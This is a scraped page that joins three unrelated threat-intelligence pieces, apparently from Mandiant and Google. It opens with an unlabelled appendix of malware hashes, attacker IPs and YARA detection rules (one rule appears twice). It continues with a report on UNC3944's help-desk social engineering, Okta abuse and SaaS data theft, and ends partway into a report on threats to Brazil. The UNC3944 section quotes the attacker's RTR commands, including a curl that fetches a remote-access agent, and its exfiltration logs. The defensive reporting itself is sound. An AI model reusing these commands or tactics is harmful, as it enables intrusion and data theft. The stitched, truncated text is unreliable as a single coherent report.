e2cdf2a3380d0197aa11ff98a34cc59e

REPTILE

CONTROLLER

authdd

fd3834d566a993c549a13a52d843a4e1

REPTILE.SHELL

BACKDOOR

authdd

4282de95cc54829d7ac275e436e33b78

REPTILE.SHELL

BACKDOOR

bubba_reverse

c9c00c627015bd78fda22fa28fd11cd7

REPTILE.SHELL

BACKDOOR

unknown

047ac6aebe0fe80f9f09c5c548233407

REPTILE.SHELL

BACKDOOR

usbubbaxd

bca2ccff0596a9f102550976750e2a89

RIFLESPINE

BACKDOOR

audit

3a8a60416b7b0e1aa5d17eefb0a45a16

TINYSHELL

CONTROLLER

lang_ext

6e248f5424810ea67212f1f2e4616aa5

TINYSHELL

BACKDOOR

sync

5d232b72378754f7a6433f93e6380737

TINYSHELL

CONTROLLER

x64

3c7316012cba3bbfa8a95d7277cda873

VIRTUALGATE

DROPPER

ndc4961

9c428a35d9fc1fdaf31af186ff6eec08

VIRTUALPEER

UTILITY

lsu_lsi_.v05

2716c60c28cf7f7568f55ac33313468b

VIRTUALPIE

ARCHIVE

vmsyslog.py

61ab3f6401d60ec36cd3ac980a8deb75

VIRTUALPIE

BACKDOOR

vmware_local.sh

bd6e38b6ff85ab02c1a4325e8af29ce4

VIRTUALPIE

LAUNCHER

cleanupStatefulHost.sh

9ef5266a9fdd25474227c3e33b8e6d77

VIRTUALPITA

LAUNCHER

client

a7cd7b61d13256f5478feb28ab34be72

VIRTUALPITA

BACKDOOR

duci

cd3e9e4df7e607f4fe83873b9d1142e3

VIRTUALPITA

BACKDOOR

payload1

62bed88bd426f91ddbbbcfcd8508ed6a

VIRTUALPITA

ARCHIVE

rdt

8e80b40b1298f022c7f3a96599806c43

VIRTUALPITA

BACKDOOR

rhttpproxy

c9f2476bf8db102fea7310abadeb9e01

VIRTUALPITA

BACKDOOR

rhttpproxy-IO

2c28ec2d541f555b2838099ca849f965

VIRTUALPITA

BACKDOOR

rpci

2bade2a5ec166d3a226761f78711ce2f

VIRTUALPITA

BACKDOOR

ssh

969d7f092ed05c72f27eef5f2c8158d6

VIRTUALPITA

BACKDOOR

nds4961l.so

084132b20ed65b2930129b156b99f5b3

VIRTUALSHINE

BACKDOOR

Network-Based Indicators

IPv4

ASN

Netblock

8.222.218.20

45102

Alibaba

8.222.216.144

45102

Alibaba

8.219.131.77

45102

Alibaba

8.219.0.112

45102

Alibaba

8.210.75.218

45102

Alibaba

8.210.103.134

45102

Alibaba

47.252.54.82

45102

Alibaba

47.251.46.35

45102

Alibaba

47.246.68.13

45102

Alibaba

47.243.116.155

45102

Alibaba

47.241.56.157

45102

Alibaba

45.77.106.183

20473

Choopa, LLC

45.32.252.98

20473

Choopa, LLC

207.246.64.38

20473

Choopa, LLC

149.28.122.119

20473

Choopa, LLC

155.138.161.47

20473

Gigabit Hosting Sdn Bhd

154.216.2.149

55720

Gigabit Hosting Sdn Bhd

103.232.86.217

55720

Gigabit Hosting Sdn Bhd

103.232.86.210

55720

Gigabit Hosting Sdn Bhd

103.232.86.209

55720

Gigabit Hosting Sdn Bhd

58.64.204.165

17444

HKBN Enterprise Solutions Limited

58.64.204.142

17444

HKBN Enterprise Solutions Limited

58.64.204.139

17444

HKBN Enterprise Solutions Limited

165.154.7.145

135377

Ucloud Information Technology Hk Limited

165.154.135.108

135377

Ucloud Information Technology Hk Limited

165.154.134.40

135377

Ucloud Information Technology Hk Limited

152.32.231.251

135377

Ucloud Information Technology Hk Limited

152.32.205.208

135377

Ucloud Information Technology Hk Limited

152.32.144.15

135377

Ucloud Information Technology Hk Limited

152.32.129.162

135377

Ucloud Information Technology Hk Limited

123.58.207.86

135377

Ucloud Information Technology Hk Limited

123.58.196.34

135377

Ucloud Information Technology Hk Limited

118.193.63.40

135377

Ucloud Information Technology Hk Limited

118.193.61.71

135377

Ucloud Information Technology Hk Limited

118.193.61.178

135377

Ucloud Information Technology Hk Limited

YARA Rules rule M_Sniffer_LOOKOVER_1 { meta: author = "Mandiant" strings: $str1 = "TKEY" $str2 = "FILTER" $str3 = "DEVICE" $str4 = "SNFILENAME" $str5 = "/var/lib/libsyslog.so" $code = {8B 55 F8 48 8B 45 E8 48 01 C2 8B 45 FC 48 8D 0C 85 00 00 00 00 48 8B 45 E0 48 01 C8 8B 00 88 02 8B 45 F8 83 C0 01 89 C2 48 8B 45 E8 48 01 C2 8B 45 FC 48 8D 0C 85 00 00 00 00 48 8B 45 E0 48 01 C8 8B 00 C1 E8 08 88 02 8B 45 F8 83 C0 02 89 C2 48 8B 45 E8 48 01 C2 8B 45 FC 48 8D 0C 85 00 00 00 00 48 8B 45 E0 48 01 C8 8B 00 C1 E8 10 88 02 8B 45 F8 83 C0 03 89 C2 48 8B 45 E8 48 01 C2 8B 45 FC 48 8D 0C 85 00 00 00 00 48 8B 45 E0 48 01 C8 8B 00 C1 E8 18 88 02 83 45 FC 01 83 45 F8 04} condition: uint32(0) == 0x464c457f and filesize < 5MB and all of them } rule M_Utility_GHOSTTOWN_1 { meta: author = "Mandiant" strings: $code1 = { 2F 76 61 72 2F 6C 6F 67 } $code2 = { 2F 76 61 72 2F 72 75 6E } $debug1 = "=== results ===" ascii $debug2 = "=== %s ===" ascii $debug3 = "searching record in file %s" ascii $debug4 = "record not matched, not modifing %s" ascii $debug5 = "delete %d records in %s" ascii $debug6 = "NEVER_LOGIN" ascii $debug7 = "you need to specify a username to clear" ascii $pattern1 = "%-10s%-10s%-10s%-20s%-10s" ascii $pattern2 = "%-15s%-10s%-15s%-10s" ascii condition: uint32(0) == 0x464C457F and all of them } rule M_Utility_VIRTUALPEER_1 { meta: author = "Mandiant" strings: $vmci_socket_family = {B? 00 00 00 00 B? 02 00 00 00 B? 28 00 00 00 e8 [4-128] B? 00 00 00 00 48 8d [5] b? 00 00 00 00 e8 [4-64] B? 00 00 00 00 48 8d [5] b? 00 00 00 00 e8 [4-64] B? B8 07 00 00 [0-8] b? 00 00 00 00 e8} $vmci_socket_marker1 = "/dev/vsock" ascii wide $vmci_socket_marker2 = "/vmfs/devices/char/vsock/vsock" ascii wide $vmci_socket_init_bind_listen = {e8 [4] 89 45 [4-64] 8B 45 ?? b? 00 00 00 00 b? 01 00 00 00 [0-4] e8 [4-128] B? 10 00 00 00 [1-16] e8 [4-128] BE 01 00 00 00 [1-16] e8 [4] 83 F8 FF} $socket_read_write = {BA 01 00 00 00 48 89 CE 89 C7 E8 [4] 48 85 C0 [1-64] BA 01 00 00 00 48 89 CE 89 C7 E8 [4] 48 85 C0 7e ?? eb} $marker1 = "nc <port>" condition: uint32(0) == 0x464c457f and all of them } rule M_Hunting_VIRTUALPITA_1 { meta: author = "Mandiant" strings: $forpid = { 70 69 64 20 [0-10] 69 6E 20 60 [0-10] 70 73 20 2D [0-10] 63 20 7C 20 [0-10] 67 72 65 70 [0-10] 20 76 6D 73 [0-10] 79 73 6C 6F [0-10] 67 64 20 7C [0-10] 20 61 77 6B [0-10] 20 27 7B 20 [0-10] 70 72 69 6E [0-10] 74 20 24 31 [0-10] 20 7D 27 60 [0-10] 3B 20 64 6F [0-10] 20 6B 69 6C [0-10] 6C 20 2D 39 [0-10] 20 24 70 69 [0-10] 64 3B 20 64 [0-10] 6F 6E 65 00 } $vmsyslogd = { 2F 75 73 72 [0-10] 2F 6C 69 62 [0-10] 2F 76 6D 77 [0-10] 61 72 65 2F [0-10] 76 6D 73 79 [0-10] 73 6C 6F 67 [0-10] 2F 62 69 6E [0-10] 2F 76 6D 73 [0-10] 79 73 6C 6F [0-10] 67 64 00 00 } condition: uint32(0) == 0x464c457f and any of them } rule M_APT_Launcher_REPTILE_1 { meta: author = "Mandiant" strings: $str1 = {B8 00 00 00 00 E8 A1 FE FF FF 48 8B 85 40 FF FF FF 48 83 C0 08 48 8B 00 BE 00 00 00 00 48 89 C7 B8 00 00 00 00 E8 ?? FD FF FF 89 45 ?8 48 8D 95 50 FF FF FF 8B 45 ?8 48 89 D6 89 C7 E8 ?? 0? 00 00 48 8B 45 80 48 89 45 F0 48 8B 45 F0 48 89 C7 E8 ?? F? FF FF 48 89 45 ?8 48 8B 55 F0 48 8B 4D ?8 8B 45 ?8 48 89 CE 89 C7 E8 ?? FC FF FF 48 8B 55 F0 48 8B 45 ?8 B9 4? 0C 40 00 48 89 C6 BF AF 00 00 00 B8 00 00 00 00 E8 ?? FC FF FF E8 ?? FC FF FF 8B 00 83 F8 25 75 07 C7 45 ?C 00 00 00 00 } $str2 = {81 7D F? FF 03 00 00 7E E9 BE 02 00 00 00 BF ?? 0C 40 00 B8 00 00 00 00 E8 ?? F? FF FF 89 45 F? 8B 45 F? BE 01 00 00 00 89 C7 E8 ?? FD FF FF 8B 45 F? BE 02 00 00 00 89 C7 E8 ?? F? FF FF C9 C3} condition: uint32(0) == 0x464C457F and all of them } rule M_APT_Backdoor_VIRTUALSHINE_1 { meta: author = "Mandiant" strings: $str1 = "/dev/vsock" $str2 = "/vmfs/devices/char/vsock/vsock" $str3 = "nds4961l <cid> <vport>" $str4 = "[!] VMCISock_GetAFValue()." $str5 = "[+] Connected to server.[ %s:%s ]" $str6 = "TERM=xterm" $str7 = "PWD=/tmp/" condition: uint32(0) == 0x464C457F and all of them } rule M_APT_BACKDOOR_MOPSLED_1 { meta: author = "Mandiant" strings: $x = { e8 ?? ?? ?? ?? 85 c0 0f 85 ?? ?? ?? ?? 4? 8d ?? ?4 ?8 be ?? ?? ?? ?? e8 ?? ?? ?? ?? 84 c0 0f 84 ?? ?? ?? ?? 4? 8b 94 ?? ?? ?? ?? ?? 4? 8b 44 ?? ?? 4? 89 e1 [0-6] be ?? ?? ?? ?? b? ?? ?? ?? ?? 4? 89 10 8b 94 ?? ?? ?? ?? ?? [0-6] 89 50 08 4? 8b 54 ?? ?? c7 42 0c ?? ?? ?? ?? e8 ?? ?? ?? ?? } condition: uint32(0) == 0x464c457f and uint8(4) == 2 and filesize < 5MB and $x } rule M_APT_BACKDOOR_MOPSLED_1 { meta: author = "Mandiant" strings: $x = { e8 ?? ?? ?? ?? 85 c0 0f 85 ?? ?? ?? ?? 4? 8d ?? ?4 ?8 be ?? ?? ?? ?? e8 ?? ?? ?? ?? 84 c0 0f 84 ?? ?? ?? ?? 4? 8b 94 ?? ?? ?? ?? ?? 4? 8b 44 ?? ?? 4? 89 e1 [0-6] be ?? ?? ?? ?? b? ?? ?? ?? ?? 4? 89 10 8b 94 ?? ?? ?? ?? ?? [0-6] 89 50 08 4? 8b 54 ?? ?? c7 42 0c ?? ?? ?? ?? e8 ?? ?? ?? ?? } condition: uint32(0) == 0x464c457f and uint8(4) == 2 and filesize < 5MB and $x }

Introduction

UNC3944 is a financially motivated threat group that carries significant overlap with public reporting of "0ktapus," "Octo Tempest," "Scatter Swine," and "Scattered Spider" and has been observed adapting its tactics to include data theft from software-as-a-service (SaaS) applications to attacker-owned cloud storage objects (using cloud synchronization tools), persistence mechanisms against virtualization platforms, and lateral movement via SaaS permissions abuse. Active since at least May 2022, UNC3944 has leveraged underground communities like Telegram to acquire tools, services, and support to enhance their operations.

Initially, UNC3944 focused on credential harvesting and SIM swapping attacks in their operations, eventually migrating to ransomware and data theft extortion; however recently UNC3944 has shifted to primarily data theft extortion, without the use of ransomware. This change in objectives has precipitated an expansion of targeted industries and organizations as evidenced by Mandiant investigations. 

Evidence also suggests UNC3944 has occasionally resorted to fearmongering tactics to gain access to victim credentials. These tactics include threats of doxxing personal information, physical harm to victims and their families, and the distribution of compromising material.

This blog post aims to spotlight UNC3944's attacks against SaaS applications observed over the past 10 months, providing insights into the group's evolving TTPs in line with its shifting mission objectives.

Tactics, Techniques, and Procedures (TTPs)

Figure 1: UNC3944 attack lifecycle

Mandiant has observed UNC3944 in multiple engagements leveraging social engineering techniques against corporate help desks to gain initial access to existing privileged accounts. Mandiant has analyzed several forensic recordings of these call center attacks, and of the observed recordings Mandiant noted the threat actors spoke with clear English and targeted accounts with high privilege potential. Additionally, it has been noted that they already possessed the personally identifiable information (PII) of its victims to bypass help desk administrators' user identity verification. Mandiant observed use of verification information, such as the last four digits of Social Security numbers, dates of birth, and manager names and job titles with associated co-workers. The level of sophistication in these social engineering attacks is evident in both the extensive research performed on potential victims and the high success rate in said attacks.

UNC3944 operators employed consistent social engineering tactics across various victims, often calling service desks to claim they were receiving a new phone, warranting a multi-factor authentication (MFA) reset. By interacting with service desk administrators, UNC3944 could not only reset passwords for privileged accounts but also bypass associated MFA protections. The social engineering techniques went beyond the call centers as extensive SMS phishing campaigns were also observed. 

After successfully gaining initial access to victim environments, UNC3944 conducted internal reconnaissance of Microsoft applications, such as SharePoint, to enumerate remote connection requirements. UNC3944 frequently targeted internal help guides and documentation for virtual private networks (VPNs), virtual desktop infrastructure (VDIs), and remote telework utilities that were available on its victims' SharePoint sites. UNC3944 abused existing legitimate third-party tooling for remote access to compromised environments.

UNC3944 has also leveraged Okta permissions abuse techniques through the self-assignment of a compromised account to every application in an Okta instance to expand the scope of intrusion beyond on-premises infrastructure to Cloud and SaaS applications. With this privilege escalation, the threat actor could not only abuse applications that leverage Okta for single sign-on (SSO), but also conduct internal reconnaissance through use of the Okta web portal by visually observing what application tiles were available after these role assignments.

Virtual Machine Compromise

An aspect of these intrusions involves a more aggressive method of persistence occurring through the creation of new virtual machines. In several instances, Mandiant observed UNC3944 access vSphere and Azure, using single sign-on applications, to create new virtual machines from which they conducted all follow-on activities. The importance here is the observation of abusing administrative groups or normal administrator permissions tied through SSO applications to then create this method of persistence.

Mandiant observed publicly available utilities such as MAS_AIO and privacy-script.bat to reconfigure the newly created virtual machine to deactivate various policies deemed contrary to privacy. This generally involved removing default Microsoft Defender protections as well as certain Windows telemetry that normally aids a forensic investigation. Additionally, a lack of endpoint monitoring allowed the group to download tools such as Mimikatz, ADRecon, and various covert tunneling tools, such as NGROK, RSOCX, and Localtonet. The use of these tools allowed UNC3944 access to the device without the need to use VPN or MFA. Other tooling included the installation of Python libraries, such as IMPACKET.

Tracking further activity from this device proves tedious when pivoting to cloud investigations. Due to the nature of cloud setups, all further cloud access was sourced from inside the compromised environment, meaning normal indicators of compromise such as poor reputation IP addresses don't effectively differentiate normal activity from threat actor activity. Despite this, Mandiant noted traditional browser artifact forensics still proved useful for tracking application accesses.

To bypass authentication controls, Mandiant has observed the use of an optical disc image file (ISO) called PCUnlocker. By attaching this ISO to existing virtual machines through the vCenter appliance, UNC3944 reset local administrator passwords allowing the bypass of normal domain controls. This ISO requires restarting and changing BIOS settings to boot into this mountable image to effectively subvert domain controls. Monitoring of virtual machine uptime or even brief impacts would allow for potential detection opportunities.

Additionally, in the past investigations, Mandiant has observed UNC3944 deploying ALPHV ransomware against the Virtual Machine File Systems, on the ESXI hypervisors themselves, to cause destructive actions inside of an environment. As a by-product of this activity, the attacker's deployed virtual machines were usually encrypted and evidence of activities within the network was destroyed. Since early 2024 Mandiant has not observed ransomware deployment by this threat group, however the potential to destroy or remove evidence is still a capability they leverage. 

Despite anti forensic measures, evidence showed that observed activity in victim environments was primarily aimed at discovering key infrastructure and potential exfiltration targets, such as databases and web content. Once located, data exfiltration occurred through these virtual machines to various high-reputation resources such as Google Cloud Platform (GCP) and Amazon Web Services (AWS).

Pivot to SaaS Applications

In addition to traditional on-premises activity, Mandiant observed pivots into client SaaS applications. UNC3944 used stolen credentials to access SaaS applications protected by single sign-on providers. Mandiant observed unauthorized access to such applications as vCenter, CyberArk, SalesForce, Azure, CrowdStrike, AWS, and GCP. Figure 2 provides an excerpt from a single Okta SSO log entry from 2023 associated with this activity.

{ "timestamp": "[redacted], "user": "[redacted]", "account": "redacted<>@corp.<redacted_domain>.com", "source_ip": "96.242.13.152", "service": "Crowdstrike Falcon", "sso_provider": "OKTA", "geoip_city": "[redacted]", "geoip_country_code": "US", "geoip_country_name": "United States", "geoip_organization": "Verizon Fios", "geoip_region": "NJ", "source_json": ... "client": { "userAgent": { "rawUserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0", "os": "Windows 10", "browser": "FIREFOX" }, "zone": "null", "device": "Computer", "id": null, "ipAddress": "96.242.13.152", ..., "displayMessage": "User single sign on to app", "eventType": "user.authentication.sso", "outcome": { "result": "SUCCESS", "reason": null }, "published": "[redacted]", ... "severity": "INFO", "debugContext": { "debugData": { "audience": "https://falcon.us-2.crowdstrike.com/saml/ metadata", "subject": "<redacted_username>@<redacted_domain>.com", "signOnMode": "SAML 2.0", "authenticationClassRef": "urn:oasis:names:tc:SAML:2.0: ac:classes:PasswordProtectedTransport", "authTime": "[redacted]", "requestUri": "/app/<redacted_domain>_crowdstrikefalcon_1/ [redacted]/sso/saml", "issuer": "http://www.okta.com/[redacted]", "url": "/app/<redacted_domain>_crowdstrikefalcon_1//sso/ saml?", "initiationType": "IDP_INITIATED", "authnRequestId": "[redacted]", "requestId": "[redacted]", "dtHash": "2f91954af8b8c55fa21b2de175ef84173abf820a7da3 ef1a1b0abac9cce777dc", "expiryTime": "[redacted]", "issuedAt": "[redacted]", "jti": "[redacted]" ...

Figure 2: Okta SSO log excerpt from an event in 2023

Mandiant observed the use of endpoint detection and response tooling to further test access to the environment. One such example was the creation of API keys inside of CrowdStrike's external console, which allowed the threat actor to execute commands within the Real Time Response (RTR) module such as whoami and quser. Figure 3 contains several events associated with UNC3944 commands executed in the CrowdStrike Falcon Real-Time-Response (RTR) module of a victim environment. According to CrowdStrike, RTR is disabled by default for users and admins. CrowdStrike recommends organizations enable MFA for additional protections on RTR commands.

runscript -raw=```whoami``` -Timeout=```3600```runscript -raw= ```curl icanhazip.com``` -Timeout=```3600``` runscript -raw=```curl wtfismyip.org``` -Timeout=```3600``` runscript -raw=```curl wtfismyip.com``` -Timeout=```3600``` runscript -raw=```curl google.com``` -Timeout=```3600``` runscript -raw=```curl google.com``` -Timeout=```3600``` runscript -raw=```curl google.com -usebasicparsing``` -Timeout=```3600``` runscript -raw=```curl icanhazip.com -usebasicparsing``` -Timeout=```3600``` runscript -raw=```curl icanhazip.com -usebasicparsing``` -Timeout=```3600``` runscript -raw=```curl https://agent.fleetdeck.io/HiZGDaf5T3xTLZdBWUsG2Q?win

Figure 3: Commands executed via CrowdStrike Falcon RTR module

UNC3944 continued to access Azure, CyberArk, Salesforce, and Workday and within each of these applications conducted further reconnaissance.

Specifically for CyberArk, Mandiant has observed the download and use of the PowerShell module psPAS specifically to programmatically interact with an organization's CyberArk instance. This utility allows for faster enumeration of CyberArk vaults and makes further investigation more difficult, as without robust PowerShell logging, it is difficult to determine what commands were executed against a CyberArk instance.

After sufficient reconnaissance, Mandiant observed exfiltration from SaaS applications through cloud synchronization utilities, such as Airbyte and Fivetran, to move data from cloud-hosted data sources to external attacker-owned cloud storage resources, such as S3 buckets. These applications required only credentials and a path to the resources to sync the data to an external source automatically, often without the need for a subscription or expensive costs. Figure 4 contains an excerpt of Airbyte logs that Mandiant successfully acquired from an UNC3944 victim.

[redacted] destination > INFO a.m.s.StreamTransferManager (uploadStreamPart):558 [Manager uploading to prodbucket11 /salesforce/Account/[redacted].csv with id XXdIBNCrR...uvUswAXY-]: Finished uploading [Part number 18 containing 10.01 MB] [redacted] destination > INFO a.m.s.StreamTransferManager(complete): 395 [Manager uploading to prodbucket11/salesforce/Account /[redacted].csv with id XXdIBNCrR...uvUswAXY-]: Completed 2023-10-09 15:42:01 destination > INFO i.a.i.d.s.S3StorageOperations (loadDataIntoBucket):214 Uploaded buffer file to storage: [redacted].csv -> salesforce/Account/[redacted].csv (filename: [redacted].csv) [redacted] destination > INFO i.a.i.d.s.S3StorageOperations (uploadRecordsToBucket):131 Successfully loaded records to stage salesforce/Account/2023_10_09_1696844737410_ with 0 re-attempt(s) 2023-10-09 15:42:01 destination > INFO i.a.i.d.r.FileBuffer(deleteFile): 109 Deleting tempFile data [redacted].csv [redacted] destination > INFO i.a.i.d.r.SerializedBufferingStrategy (flushSingleBuffer):128 Flushing completed for Account [redacted] destination > INFO i.a.i.d.r.SerializedBufferingStrategy (lambda$getOrCreateBuffer$0):109 Starting a new buffer for stream Account (current state: -14332 bytes in 0 buffers) [redacted] replication-orchestrator > Records read: 3635000 (18 GB)

Figure 4: Excerpt of Airbyte logs associated with data theft activity

ADFS Targeting

Mandiant has observed UNC3944 targeting Active Directory Federated Services (ADFS), when in use, specifically to export the ADFS certificates. With these certificates and through the use of a Golden SAML attack, easier and persistent access to cloud-based applications can occur. Correlating events on the ADFS to the service provider sign-in logs can assist with the detection of forged SAML tokens.

Dangers of SaaS Application Access

This current attack path highlights, in addition to traditional dangers of sensitive data storage, the dangers of storing data in SaaS-hosted applications. These risks are often overlooked as part of internal security due to traditional SaaS models offloading some risk to the application owner. As part of initial data reconnaissance, Mandiant has observed the use of advanced M365 capabilities, including Microsoft’s Office Delve, directly inside of an M365 tenant designed to highlight data sources that a compromised account could access.Delve allows users to quickly view and access files they have access to, whether it’s based on group membership or directly shared with a user. These personalized content recommendations include aggregated information from various sources within M365, such as files, emails, documents, and conversations. Delve also maps out organizational relationships, to include key members within the organization and the user’s direct management chain, and allows you to view recent documents associated with each member of your organization.

Although this is a useful feature for collaboration, UNC3944 has been observed leveraging this application for quick reconnaissance and datamining. Because these files are often sorted by most recent modified date, it also allows for quick identification of active projects, ongoing discussions, and the latest versions of potentially sensitive or confidential information.

"SearchQueryText: and(and(SharedWithUsersOwsUser:|<COMPROMISED.USER> @, ContentType:Document), and(not(HideFromDelve:"1"), not(OnHold:"1"), not(Path:"tag://public/?NAME=*"), not(Title:or(OneNote_DeletedPages, OneNote_RecycleBin)), not (SecondaryFileExtension:onetoc2), not(IsOneNotePage:"1"), not(IsInRecycleBin:"1"), not(ContentType:Folder), not(FileExtension:url), not(ContentClass:or(STS_ListItem_Categories*, STS_ListItem_852*, STS_List_DocumentLibrary*, STS_ListItem_GenericList*, STS_ListItem_544*, STS_ListItem_Tasks*, STS_Document*, STS_Site*)), not(ContentClass:"urn:content-class:SPSPeople*")))”

Figure 5: Example M365 Delve query

Mandiant has observed that these resources are generally excluded from security monitoring tools and have insufficient logging to record the full range of user activities. While SaaS applications such as Salesforce do not configure the logging verbosity based on the type of license a user has, the logging granularity is impacted by the configuration of debugging logs, the audit trail, and whether or not the add-on feature "Salesforce Shield" is enabled. 

Traditional on-premises security controls, such as firewalls and network flow sensors, are ineffective in detecting large outbound data transfers from SaaS platforms due to their networking configuration. This abstraction makes it difficult to identify data theft using traditional evidence sources like firewall and netflow logs. While historical analysis of SaaS and cloud logs can reveal data theft, real-time detection of this activity remains challenging.

Recommendations

Several courses of action can help to mitigate persistence or increased access in a targeted environment. Mandiant recommends utilizing both host-based certificates coupled with multi-factor authentication for any VPN access. Additionally, creating stricter conditional access policies to control what is visible inside of a cloud tenant can limit overall impact.

Multiple detection opportunities exist to assist with a speedier identification of possible compromise. Mandiant recommends heightened monitoring of SaaS applications, to include centralizing logs from important SaaS-based applications, MFA re-registrations, and virtual machine infrastructure, specifically about both uptime and the creation of new devices.

SaaS applications pose an interesting dilemma for organizations as there is a gray area of where and who should conduct monitoring to identify issues. For the applications where proprietary or guarded information exists, Mandiant recommends that an organization ensures they have a robust logging capability that their security teams can review for signs of malicious intent.

Written by: Kristen Dennesen, Luke McNamara, Dmitrij Lenz, Adam Weidemann, Aline Bueno

 

Note: A Portuguese-language version of this blog post is available.

Individuals and organizations in Brazil face a unique cyber threat landscape because it is a complex interplay of global and local threats, posing significant risks to individuals, organizations, and critical sectors of Brazilian society. Many of the cyber espionage threat actors that are prolific in campaigns across the globe are also active in carrying out attempted intrusions into critical sectors of Brazilian society. Brazil also faces threats posed by the worldwide increase in multifaceted extortion, as ransomware and data theft continue to rise. At the same time, the threat landscape in Brazil is shaped by a domestic cybercriminal market, where threat actors coordinate to carry out account takeovers, conduct carding and fraud, deploy banking malware and facilitate other cyber threats targeting Brazilians. The rise of the Global South, with Brazil at the forefront, marks a significant shift in the geopolitical landscape; one that extends into the cyber realm. As Brazil's influence grows, so does its digital footprint, making it an increasingly attractive target for cyber threats originating from both global and domestic actors.

This blog post brings together Google’s collective understanding of the Brazilian threat landscape, combining insights from Google’s Threat Analysis Group (TAG) and Mandiant’s frontline intelligence. As Brazil’s economic and geopolitical role in global affairs continues to rise, threat actors from an array of motivations will further seek opportunities to exploit the digital infrastructure that Brazilians rely upon across all aspects of society. By sharing our global perspective, we hope to enable greater resiliency in mitigating these threats.

Google uses the results of our research to improve the safety and security of our products, making them secure by default. Chrome OS has built-in and proactive security to protect from ransomware, and there have been no reported ransomware attacks ever on any business, education, or consumer Chrome OS device. Google security teams continuously monitor for new threat activity, and all identified websites and domains are added to Safe Browsing to protect users from further exploitation. We deploy and constantly update Android detections to protect users' devices and prevent malicious actors from publishing malware to the Google Play Store. We send targeted Gmail and Workspace users government-backed attacker alerts, notifying them of the activity and encouraging potential targets to enable Enhanced Safe Browsing for Chrome and ensure that all devices are updated.  

Cyber Espionage Operations Targeting Brazil

Brazil’s status as a globally influential power and the largest economy in South America have drawn attention from cyber espionage actors for several years, including targeting by government-backed groups from the People’s Republic of China (PRC), Russia, and North Korea.

Government-backed phishing activity targeting Brazil (2020 – Q1 2024)

Since 2020, cyber espionage groups from more than a dozen countries have targeted users in Brazil; however, more than 85% of government-backed phishing activity is concentrated among groups from the PRC, North Korea, and Russia. The Brazil-focused targeting of these groups mirrors the broader priorities and industry targeting trends we see elsewhere. North Korean government-backed groups, for example, have shown a keen interest in Brazilian cryptocurrency firms, aerospace and defense, and government targets. PRC groups, meanwhile, have targeted Brazilian government organizations, as well as the energy sector. Russian cyber espionage groups have targeted users in Brazil regularly dating back more than a decade; however since the start of Russia’s war in Ukraine, Russian activity targeting Brazil has scaled back considerably - likely an indication of Russia’s efforts to focus resources on Ukrainian and NATO targets in the context of the Russia-Ukraine war.

The examples here highlight recent and historical examples where cyber espionage actors have targeted users and organizations in Brazil. It should be noted that these campaigns describe targeting and do not indicate successful compromise or exploitation.

PRC Cyber Espionage Activity Targeting Brazil

Cyber espionage activity linked to the People’s Republic of China (PRC) targeting Brazil dates back more than a decade. Since 2020, we have observed 15 PRC cyber espionage groups targeting users in Brazil, and these groups have accounted for over 40% of government-backed phishing activity targeting Brazil. As the largest recipient of Chinese investment in Latin America, this volume of PRC cyber espionage is reminiscent of activity in other regions where Chinese government investment has been focused, such as countries within China’s Belt and Road Initiative. In addition to activity targeting Gmail users, PRC groups have targeted Brazil’s military, national government, diplomatic organizations, and the provincial governments of multiple Brazilian states. These groups have targeted users in Brazil using tactics ranging from phishing to malware distribution and exploitation of known vulnerabilities. 

In August 2023, for example, Google detected a campaign from a PRC group that targeted nearly two hundred users in a Brazilian executive branch organization. The phishing emails contained links to an encrypted ZIP archive hosted on a known phishing domain. Organizations in Brazil’s state governments have also been a target. In late 2022, PRC actors used an operational relay box (ORB) network to anonymize their activity and attempted to send a mass phishing campaign to nearly two thousand email addresses, including 70 email addresses in the .br ccTLD, the majority of which belonged to Brazilian state government organizations. The mass email, which Gmail blocked, contained a malicious TAR attachment designed to exploit CVE-2022-41352, an n-day vulnerability in the Zimbra Collaboration Suite that enables an attacker to upload arbitrary files and gain unauthorized access to other user accounts. The campaign targeted organizations globally and appeared opportunistic - most of the targeted email addresses were addressed to the domain admin (e.g., admin@[domain].gov.br). 

PRC cyber espionage activity against local and provincial entities is of note in light of campaigns by threat actors such as UNC4841 that have focused on similar targets globally, including in Brazil. As part of their exploitation of the Barracuda Email Security Gateway in 2023, UNC4841 targeted a Brazilian business association focused on promoting state-level commerce across several industries.

Phishing pages created by PRC cyber espionage groups targeting Brazil’s government

North Korean Government-Backed Groups Targeting Brazil

Since 2020, North Korean cyber actors have accounted for approximately a third of government-backed phishing activity targeting Brazil. North Korean government-backed actors have targeted the Brazilian government and Brazil’s aerospace, technology, and financial services sectors. Similar to their targeting interests in other regions, cryptocurrency and financial technology firms have been a particular focus, and at least three North Korean groups have targeted Brazilian cryptocurrency and fintech companies.

In early 2024, PUKCHONG (UNC4899) targeted cryptocurrency professionals in multiple regions, including Brazil, using a Python app that was trojanized with malware. To deliver the malicious app, PUKCHONG reached out to targets via social media and sent a benign PDF containing a job description for an alleged job opportunity at a well known cryptocurrency firm. If the target replied with interest, PUKCHONG sent a second benign PDF with a skills questionnaire and instructions for completing a coding test. The instructions directed users to download and run a project hosted on GitHub. The project was a trojanized Python app for retrieving cryptocurrency prices that was modified to reach out to an attacker-controlled domain to retrieve a second stage payload if specific conditions were met.

PUKCHONG (UNC4899) sent targets instructions to download a trojanized Python app from GitHub

North Korean government-backed groups have also in the past targeted Brazil’s aerospace and defense industry. In one example, PAEKTUSAN created an account impersonating an HR director at a Brazilian aerospace firm and used it to send phishing emails to employees at a second Brazilian aerospace firm. In a separate campaign, PAEKTUSAN masqueraded as a recruiter at a major US aerospace company and reached out to professionals in Brazil and other regions via email and social media about prospective job opportunities. Google blocked the emails, which contained malicious links to a DOCX file containing a job posting lure that dropped AGAMEMNON, a downloader written in C++. The attacker also likely attempted to deliver the malware via messages on social media and chat applications like WhatsApp. The campaigns were consistent with Operation Dream Job and activity previously described by Google.  In both campaigns, we also sent users government-backed attacker alerts notifying them of the activity and sharing information about how to keep their accounts safe.  

One North Korean group, PRONTO, concentrates on targeting diplomats globally, and their targets in Brazil follow this pattern. In one case, Google blocked a campaign that used a denuclearization-themed phishing lure and the group’s typical phishing kit - a fake PDF viewer that presents the users with a login prompt to enter their credentials in order to view the lure document. In another case, PRONTO used North Korea news-themed lures to direct diplomatic targets to credential harvesting pages.

